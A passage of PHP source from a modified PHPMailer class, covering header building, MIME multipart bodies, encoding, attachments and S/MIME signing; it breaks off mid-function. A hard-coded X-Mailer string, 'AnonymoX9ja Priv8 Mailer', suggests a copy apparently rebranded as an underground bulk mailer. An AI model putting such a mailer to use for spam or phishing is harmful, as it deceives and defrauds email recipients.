  779.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  780.                 }
  781.             }
  782.         } else {
  783.             if (count($this->to) > 0) {
  784.                 if ($this->Mailer != 'mail') {
  785.                     $result .= $this->addrAppend('To', $this->to);
  786.                 }
  787.             } elseif (count($this->cc) == 0) {
  788.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  789.             }
  790.         }
  791.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  792.         if (count($this->cc) > 0) {
  793.             $result .= $this->addrAppend('Cc', $this->cc);
  794.         }
  795.         if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
  796.             $result .= $this->addrAppend('Bcc', $this->bcc);
  797.         }
  798.         if (count($this->ReplyTo) > 0) {
  799.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  800.         }
  801.         if ($this->Mailer != 'mail') {
  802.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  803.         }
  804.         if ($this->MessageID != '') {
  805.             $this->lastMessageID = $this->MessageID;
  806.         } else {
  807.             $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  808.         }
  809.         $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  810.         $result .= $this->headerLine('X-Priority', $this->Priority);
  811.         if ($this->XMailer == '') {
  812.             $result .= $this->headerLine('X-Mailer', 'PHPMailer ' . $this->Version . 'AnonymoX9ja Priv8 Mailer');
  813.         } else {
  814.             $myXmailer = trim($this->XMailer);
  815.             if ($myXmailer) {
  816.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  817.             }
  818.         }
  819.         if ($this->ConfirmReadingTo != '') {
  820.             $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  821.         }
  822.         for ($index = 0; $index < count($this->CustomHeader); $index++) {
  823.             $result .= $this->headerLine(trim($this->CustomHeader[$index][0]), $this->encodeHeader(trim($this->CustomHeader[$index][1])));
  824.         }
  825.         if (!$this->sign_key_file) {
  826.             $result .= $this->headerLine('MIME-Version', '1.0');
  827.             $result .= $this->getMailMIME();
  828.         }
  829.         return $result;
  830.     }
  831.  
  832.     public function getMailMIME()
  833.     {
  834.         $result = '';
  835.         $ismultipart = true;
  836.         switch ($this->message_type) {
  837.             case  'inline':
  838.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  839.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  840.                 break;
  841.             case  'attach':
  842.             case  'inline_attach':
  843.             case  'alt_attach':
  844.             case  'alt_inline_attach':
  845.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  846.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  847.                 break;
  848.             case  'alt':
  849.             case  'alt_inline':
  850.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  851.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  852.                 break;
  853.             default:
  854.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  855.                 $ismultipart = false;
  856.                 break;
  857.         }
  858.         if ($this->Encoding != '7bit') {
  859.             if ($ismultipart) {
  860.                 if ($this->Encoding == '8bit') {
  861.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  862.                 }
  863.             } else {
  864.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  865.             }
  866.         }
  867.         if ($this->Mailer != 'mail') {
  868.             $result .= $this->LE;
  869.         }
  870.         return $result;
  871.     }
  872.  
  873.     public function getSentMIMEMessage()
  874.     {
  875.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  876.     }
  877.  
  878.     public function createBody()
  879.     {
  880.         $body = '';
  881.         if ($this->sign_key_file) {
  882.             $body .= $this->getMailMIME() . $this->LE;
  883.         }
  884.         $this->setWordWrap();
  885.         $bodyEncoding = $this->Encoding;
  886.         $bodyCharSet = $this->CharSet;
  887.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  888.             $bodyEncoding = '7bit';
  889.             $bodyCharSet = 'us-ascii';
  890.         }
  891.         $altBodyEncoding = $this->Encoding;
  892.         $altBodyCharSet = $this->CharSet;
  893.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  894.             $altBodyEncoding = '7bit';
  895.             $altBodyCharSet = 'us-ascii';
  896.         }
  897.         switch ($this->message_type) {
  898.             case  'inline':
  899.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  900.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  901.                 $body .= $this->LE . $this->LE;
  902.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  903.                 break;
  904.             case  'attach':
  905.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  906.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  907.                 $body .= $this->LE . $this->LE;
  908.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  909.                 break;
  910.             case  'inline_attach':
  911.                 $body .= $this->textLine('--' . $this->boundary[1]);
  912.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  913.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  914.                 $body .= $this->LE;
  915.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  916.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  917.                 $body .= $this->LE . $this->LE;
  918.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  919.                 $body .= $this->LE;
  920.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  921.                 break;
  922.             case  'alt':
  923.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  924.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  925.                 $body .= $this->LE . $this->LE;
  926.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  927.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  928.                 $body .= $this->LE . $this->LE;
  929.                 if (!empty($this->Ical)) {
  930.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  931.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  932.                     $body .= $this->LE . $this->LE;
  933.                 }
  934.                 $body .= $this->endBoundary($this->boundary[1]);
  935.                 break;
  936.             case  'alt_inline':
  937.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  938.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  939.                 $body .= $this->LE . $this->LE;
  940.                 $body .= $this->textLine('--' . $this->boundary[1]);
  941.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  942.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  943.                 $body .= $this->LE;
  944.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  945.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  946.                 $body .= $this->LE . $this->LE;
  947.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  948.                 $body .= $this->LE;
  949.                 $body .= $this->endBoundary($this->boundary[1]);
  950.                 break;
  951.             case  'alt_attach':
  952.                 $body .= $this->textLine('--' . $this->boundary[1]);
  953.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  954.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  955.                 $body .= $this->LE;
  956.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  957.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  958.                 $body .= $this->LE . $this->LE;
  959.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  960.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  961.                 $body .= $this->LE . $this->LE;
  962.                 $body .= $this->endBoundary($this->boundary[2]);
  963.                 $body .= $this->LE;
  964.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  965.                 break;
  966.             case  'alt_inline_attach':
  967.                 $body .= $this->textLine('--' . $this->boundary[1]);
  968.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  969.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  970.                 $body .= $this->LE;
  971.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  972.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  973.                 $body .= $this->LE . $this->LE;
  974.                 $body .= $this->textLine('--' . $this->boundary[2]);
  975.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  976.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  977.                 $body .= $this->LE;
  978.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  979.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  980.                 $body .= $this->LE . $this->LE;
  981.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  982.                 $body .= $this->LE;
  983.                 $body .= $this->endBoundary($this->boundary[2]);
  984.                 $body .= $this->LE;
  985.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  986.                 break;
  987.             default:
  988.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  989.                 break;
  990.         }
  991.         if ($this->isError()) {
  992.             $body = '';
  993.         } elseif ($this->sign_key_file) {
  994.             try {
  995.                 if (!defined('PKCS7_TEXT')) {
  996.                     throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  997.                 }
  998.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  999.                 file_put_contents($file, $body);
  1000.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1001.                 if (@openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null)) {
  1002.                     @unlink($file);
  1003.                     $body = file_get_contents($signed);
  1004.                     @unlink($signed);
  1005.                 } else {
  1006.                     @unlink($file);
  1007.                     @unlink($signed);
  1008.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1009.                 }
  1010.             } catch (phpmailerException $exc) {
  1011.                 $body = '';
  1012.                 if ($this->exceptions) {
  1013.                     throw $exc;
  1014.                 }
  1015.             }
  1016.         }
  1017.         return $body;
  1018.     }
  1019.  
  1020.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1021.     {
  1022.         $result = '';
  1023.         if ($charSet == '') {
  1024.             $charSet = $this->CharSet;
  1025.         }
  1026.         if ($contentType == '') {
  1027.             $contentType = $this->ContentType;
  1028.         }
  1029.         if ($encoding == '') {
  1030.             $encoding = $this->Encoding;
  1031.         }
  1032.         $result .= $this->textLine('--' . $boundary);
  1033.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1034.         $result .= $this->LE;
  1035.         if ($encoding != '7bit') {
  1036.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1037.         }
  1038.         $result .= $this->LE;
  1039.         return $result;
  1040.     }
  1041.  
  1042.     protected function endBoundary($boundary)
  1043.     {
  1044.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1045.     }
  1046.  
  1047.     protected function setMessageType()
  1048.     {
  1049.         $this->message_type = array();
  1050.         if ($this->alternativeExists()) {
  1051.             $this->message_type[] = 'alt';
  1052.         }
  1053.         if ($this->inlineImageExists()) {
  1054.             $this->message_type[] = 'inline';
  1055.         }
  1056.         if ($this->attachmentExists()) {
  1057.             $this->message_type[] = 'attach';
  1058.         }
  1059.         $this->message_type = implode('_', $this->message_type);
  1060.         if ($this->message_type == '') {
  1061.             $this->message_type = 'plain';
  1062.         }
  1063.     }
  1064.  
  1065.     public function headerLine($name, $value)
  1066.     {
  1067.         return $name . ': ' . $value . $this->LE;
  1068.     }
  1069.  
  1070.     public function textLine($value)
  1071.     {
  1072.         return $value . $this->LE;
  1073.     }
  1074.  
  1075.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1076.     {
  1077.         try {
  1078.             if (!@is_file($path)) {
  1079.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1080.             }
  1081.             if ($type == '') {
  1082.                 $type = self::filenameToType($path);
  1083.             }
  1084.             $filename = basename($path);
  1085.             if ($name == '') {
  1086.                 $name = $filename;
  1087.             }
  1088.             $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0);
  1089.         } catch (phpmailerException $exc) {
  1090.             $this->setError($exc->getMessage());
  1091.             $this->edebug($exc->getMessage());
  1092.             if ($this->exceptions) {
  1093.                 throw $exc;
  1094.             }
  1095.             return false;
  1096.         }
  1097.         return true;
  1098.     }
  1099.  
  1100.     public function getAttachments()
  1101.     {
  1102.         return $this->attachment;
  1103.     }
  1104.  
  1105.     protected function attachAll($disposition_type, $boundary)
  1106.     {
  1107.         $mime = array();
  1108.         $cidUniq = array();
  1109.         $incl = array();
  1110.         foreach ($this->attachment as $attachment) {
  1111.             if ($attachment[6] == $disposition_type) {
  1112.                 $string = '';
  1113.                 $path = '';
  1114.                 $bString = $attachment[5];
  1115.                 if ($bString) {
  1116.                     $string = $attachment[0];
  1117.                 } else {
  1118.                     $path = $attachment[0];
  1119.                 }
  1120.                 $inclhash = md5(serialize($attachment));
  1121.                 if (in_array($inclhash, $incl)) {
  1122.                     continue;
  1123.                 }
  1124.                 $incl[] = $inclhash;
  1125.                 $name = $attachment[2];
  1126.                 $encoding = $attachment[3];
  1127.                 $type = $attachment[4];
  1128.                 $disposition = $attachment[6];
  1129.                 $cid = $attachment[7];
  1130.                 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1131.                     continue;
  1132.                 }
  1133.                 $cidUniq[$cid] = true;
  1134.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1135.                 $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
  1136.                 if ($encoding != '7bit') {
  1137.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1138.                 }
  1139.                 if ($disposition == 'inline') {
  1140.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1141.                 }
  1142.                 if (!(empty($disposition))) {
  1143.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $name)) {
  1144.                         $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $this->encodeHeader($this->secureHeader($name)), $this->LE . $this->LE);
  1145.                     } else {
  1146.                         $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $this->encodeHeader($this->secureHeader($name)), $this->LE . $this->LE);
  1147.                     }
  1148.                 } else {
  1149.                     $mime[] = $this->LE;
  1150.                 }
  1151.                 if ($bString) {
  1152.                     $mime[] = $this->encodeString($string, $encoding);
  1153.                     if ($this->isError()) {
  1154.                         return '';
  1155.                     }
  1156.                     $mime[] = $this->LE . $this->LE;
  1157.                 } else {
  1158.                     $mime[] = $this->encodeFile($path, $encoding);
  1159.                     if ($this->isError()) {
  1160.                         return '';
  1161.                     }
  1162.                     $mime[] = $this->LE . $this->LE;
  1163.                 }
  1164.             }
  1165.         }
  1166.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1167.         return implode('', $mime);
  1168.     }
  1169.  
  1170.     protected function encodeFile($path, $encoding = 'base64')
  1171.     {
  1172.         try {
  1173.             if (!is_readable($path)) {
  1174.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1175.             }
  1176.             $magic_quotes = get_magic_quotes_runtime();
  1177.             if ($magic_quotes) {
  1178.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1179.                     set_magic_quotes_runtime(false);
  1180.                 } else {
  1181.                     ini_set('magic_quotes_runtime', 0);
  1182.                 }
  1183.             }
  1184.             $file_buffer = file_get_contents($path);
  1185.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  1186.             if ($magic_quotes) {
  1187.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1188.                     set_magic_quotes_runtime($magic_quotes);
  1189.                 } else {
  1190.                     ini_set('magic_quotes_runtime', ($magic_quotes ? '1' : '0'));
  1191.                 }
  1192.             }
  1193.             return $file_buffer;
  1194.         } catch (Exception $exc) {
  1195.             $this->setError($exc->getMessage());
  1196.             return '';
  1197.         }
  1198.     }
  1199.  
  1200.     public function encodeString($str, $encoding = 'base64')
  1201.     {
  1202.         $encoded = '';
  1203.         switch (strtolower($encoding)) {
  1204.             case  'base64':
  1205.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1206.                 break;
  1207.             case  '7bit':
  1208.             case  '8bit':
  1209.                 $encoded = $this->fixEOL($str);
  1210.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  1211.                     $encoded .= $this->LE;
  1212.                 }
  1213.                 break;
  1214.             case  'binary':
  1215.                 $encoded = $str;
  1216.                 break;
  1217.             case  'quoted-printable':
  1218.                 $encoded = $this->encodeQP($str);
  1219.                 break;
  1220.             default:
  1221.                 $this->setError($this->lang('encoding') . $encoding);
  1222.                 break;
  1223.         }
  1224.         return $encoded;
  1225.     }
  1226.  
  1227.     public function encodeHeader($str, $position = 'text')
  1228.     {
  1229.         $matchcount = 0;
  1230.         switch (strtolower($position)) {
  1231.             case  'phrase':
  1232.                 if (!preg_match('/[\200-\377]/', $str)) {
  1233.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  1234.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  1235.                         return ($encoded);
  1236.                     } else {
  1237.                         return ("\"$encoded\"");
  1238.                     }
  1239.                 }
  1240.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  1241.                 break;
  1242.             case  'comment':
  1243.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  1244.             case  'text':
  1245.             default:
  1246.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  1247.                 break;
  1248.         }
  1249.         if ($matchcount == 0) {
  1250.             return ($str);
  1251.         }
  1252.         $maxlen = 75 - 7 - strlen($this->CharSet);
  1253.         if ($matchcount > strlen($str) / 3) {
  1254.             $encoding = 'B';
  1255.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  1256.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  1257.             } else {
  1258.                 $encoded = base64_encode($str);
  1259.                 $maxlen -= $maxlen % 4;
  1260.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  1261.             }
  1262.         } else {
  1263.             $encoding = 'Q';
  1264.             $encoded = $this->encodeQ($str, $position);
  1265.             $encoded = $this->wrapText($encoded, $maxlen, true);
  1266.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  1267.         }
  1268.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  1269.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  1270.         return $encoded;
  1271.     }
  1272.  
  1273.     public function hasMultiBytes($str)
  1274.     {
  1275.         if (function_exists('mb_strlen')) {
  1276.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  1277.         } else {
  1278.             return false;
  1279.         }
  1280.     }
  1281.  
  1282.     public function has8bitChars($text)
  1283.     {
  1284.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  1285.     }
  1286.  
  1287.     public function base64EncodeWrapMB($str, $linebreak = null)
  1288.     {
  1289.         $start = '=?' . $this->CharSet . '?B?';
  1290.         $end = '?=';
  1291.         $encoded = '';
  1292.         if ($linebreak === null) {
  1293.             $linebreak = $this->LE;
  1294.         }
  1295.         $mb_length = mb_strlen($str, $this->CharSet);
  1296.         $length = 75 - strlen($start) - strlen($end);
  1297.         $ratio = $mb_length / strlen($str);
  1298.         $avgLength = floor($length * $ratio * .75);
  1299.         for ($i = 0; $i < $mb_length; $i += $offset) {
  1300.             $lookBack = 0;
  1301.             do {
  1302.                 $offset = $avgLength - $lookBack;
  1303.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  1304.                 $chunk = base64_encode($chunk);
  1305.                 $lookBack++;
  1306.             } while (strlen($chunk) > $length);
  1307.             $encoded .= $chunk . $linebreak;
  1308.         }
  1309.         $encoded = substr($encoded, 0, -strlen($linebreak));
  1310.         return $encoded;
  1311.     }
  1312.  
  1313.     public function encodeQP($string, $line_max = 76)
  1314.     {
  1315.         if (function_exists('quoted_printable_encode')) {
  1316.             return $this->fixEOL(quoted_printable_encode($string));
  1317.         }
  1318.         $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string));
  1319.         $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  1320.         return $this->fixEOL($string);
  1321.     }
  1322.  
  1323.     public function encodeQPphp($string, $line_max = 76, $space_conv = false)
  1324.     {
  1325.         return $this->encodeQP($string, $line_max);
  1326.     }
  1327.  
  1328.     public function encodeQ($str, $position = 'text')
  1329.     {
  1330.         $pattern = '';
  1331.         $encoded = str_replace(array("\r", "\n"), '', $str);
  1332.         switch (strtolower($position)) {
  1333.             case  'phrase':
  1334.                 $pattern = '^A-Za-z0-9!*+\/ -';
  1335.                 break;
  1336.             case  'comment':
  1337.                 $pattern = '\(\)"';
  1338.             case  'text':
  1339.             default:
  1340.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  1341.                 break;
  1342.         }
  1343.         $matches = array();
  1344.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  1345.             $eqkey = array_search('=', $matches[0]);
  1346.             if ($eqkey !== false) {
  1347.                 unset($matches[0][$eqkey]);
  1348.                 array_unshift($matches[0], '=');
  1349.             }
  1350.             foreach (array_unique($matches[0]) as $char) {
  1351.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  1352.             }
  1353.         }
  1354.         return str_replace(' ', '_', $encoded);
  1355.     }
  1356.  
  1357.     public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment')
  1358.     {
  1359.         if ($type == '') {
  1360.             $type = self::filenameToType($filename);
  1361.         }
  1362.         $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0);
  1363.     }
  1364.  
  1365.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  1366.     {
  1367.         if (!@is_file($path)) {
  1368.             $this->setError($this->lang('file_access') . $path);
  1369.             return false;
  1370.         }
  1371.         if ($type == '') {
  1372.             $type = self::filenameToType($path);
  1373.         }
  1374.         $filename = basename($path);
  1375.         if ($name == '') {
  1376.             $name = $filename;
  1377.         }
  1378.         $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid);
  1379.         return true;
  1380.     }
  1381.  
  1382.     public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  1383.     {
  1384.         if ($type == '') {
  1385.             $type = self::filenameToType($name);
  1386.         }
  1387.         $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid);
  1388.         return true;
  1389.     }
  1390.  
  1391.     public function inlineImageExists()
  1392.     {
  1393.         foreach ($this->attachment as $attachment) {
  1394.             if ($attachment[6] == 'inline') {
  1395.                 return true;
  1396.             }
  1397.         }
  1398.         return false;
  1399.     }
  1400.  
  1401.     public function attachmentExists()
  1402.     {
  1403.         foreach ($this->attachment as $attachment) {
  1404.             if ($attachment[6] == 'attachment') {
  1405.                 return true;
  1406.             }
  1407.         }
  1408.         return false;
  1409.     }
  1410.  
  1411.     public function alternativeExists()
  1412.     {
  1413.         return !empty($this->AltBody);
  1414.     }
  1415.  
  1416.     public function clearAddresses()
  1417.     {
  1418.         foreach ($this->to as $to) {
  1419.             unset($this->all_recipients[strtolower($to[0])]);
  1420.         }
  1421.         $this->to = array();
  1422.     }
  1423.  
  1424.     public function clearCCs()
  1425.     {
  1426.         foreach ($this->cc as $cc) {
  1427.             unset($this->all_recipients[strtolower($cc[0])]);
  1428.         }
  1429.         $this->cc = array();
  1430.     }
  1431.  
  1432.     public function clearBCCs()
  1433.     {
  1434.         foreach ($this->bcc as $bcc) {
  1435.             unset($this->all_recipients[strtolower($bcc[0])]);
  1436.         }
  1437.         $this->bcc = array();
  1438.     }
  1439.  
  1440.     public function clearReplyTos()
  1441.     {
  1442.         $this->ReplyTo = array();
  1443.     }
  1444.  
  1445.     public function clearAllRecipients()
  1446.     {
  1447.         $this->to = array();
  1448.         $this->cc = array();
  1449.         $this->bcc = array();
  1450.         $this->all_recipients = array();
  1451.     }
  1452.  
  1453.     public function clearAttachments()
  1454.     {
  1455.         $this->attachment = array();
  1456.     }
  1457.  
  1458.     public function clearCustomHeaders()
  1459.     {
  1460.         $this->CustomHeader = array();
  1461.     }
  1462.  
  1463.     protected function setError($msg)
  1464.     {
  1465.         $this->error_count++;
  1466.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  1467.             $lasterror = $this->smtp->getError();
  1468.             if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  1469.                 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  1470.             }
  1471.         }
  1472.         $this->ErrorInfo = $msg;
  1473.     }
  1474.  
  1475.     public static function rfcDate()
  1476.     {
  1477.         return date('D, j M Y H:i:s O');
  1478.     }
  1479.  
  1480.     protected function serverHostname()
  1481.     {
  1482.         $result = 'localhost.localdomain';
  1483.         if (!empty($this->Hostname)) {
  1484.             $result = $this->Hostname;
  1485.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  1486.             $result = $_SERVER['SERVER_NAME'];
  1487.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  1488.             $result = gethostname();
  1489.         } elseif (php_uname('n') !== false) {
  1490.             $result = php_uname('n');
  1491.         }
  1492.         return $result;
  1493.     }
  1494.  
  1495.     protected function lang($key)
  1496.     {
  1497.         if (count($this->language) < 1) {
  1498.             $this->setLanguage('en');
  1499.         }
  1500.         if (isset($this->language[$key])) {
  1501.             return $this->language[$key];
  1502.         } else {
  1503.             return 'Language string failed to load: ' . $key;
  1504.         }
  1505.     }
  1506.  
  1507.     public function isError()
  1508.     {
  1509.         return ($this->error_count > 0);
  1510.     }
  1511.  
  1512.     public function fixEOL($str)
  1513.     {
  1514.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  1515.         if ($this->LE !== "\n") {
  1516.             $nstr = str_replace("\n", $this->LE, $nstr);
  1517.         }
  1518.         return $nstr;
  1519.     }
  1520.  
  1521.     public function addCustomHeader($name, $value = null)
  1522.     {
  1523.         if ($value === null) {
  1524.             $this->CustomHeader[] = explode(':', $name, 2);
  1525.         } else {
  1526.             $this->CustomHeader[] = array($name, $value);
  1527.         }
  1528.     }
  1529.  
  1530.     public function msgHTML($message, $basedir = '', $advanced = false)
  1531.     {
  1532.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  1533.         if (isset($images[2])) {
  1534.             foreach ($images[2] as $imgindex => $url) {
  1535.                 if (!preg_match('#^[A-z]+://#', $url)) {
  1536.                     $filename = basename($url);
  1537.                     $directory = dirname($url);
  1538.                     if ($directory == '.') {
  1539.                         $directory = '';
  1540.                     }
  1541.                     $cid = md5($url) . '@phpmailer.0';
  1542.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  1543.                         $basedir .= '/';
  1544.                     }
  1545.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  1546.                         $directory .= '/';
  1547.                     }
  1548.                     if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  1549.                         $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  1550.                     }
  1551.                 }
  1552.             }
  1553.         }
  1554.         $this->isHTML(true);
  1555.         $this->Body = $this->normalizeBreaks($message);
  1556.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  1557.         if (empty($this->AltBody)) {
  1558.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  1559.         }
  1560.         return $this->Body;
  1561.     }
  1562.  
  1563.     public function html2text($html, $advanced = false)
  1564.     {
  1565.         if ($advanced) {
  1566.             require_once 'extras/class.html2text.php';
  1567.             $htmlconverter = new html2text($html);
  1568.             return $htmlconverter->get_text();
  1569.         }
  1570.         return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  1571.     }
  1572.  
  1573.     public static function _mime_types($ext = '')
  1574.     {
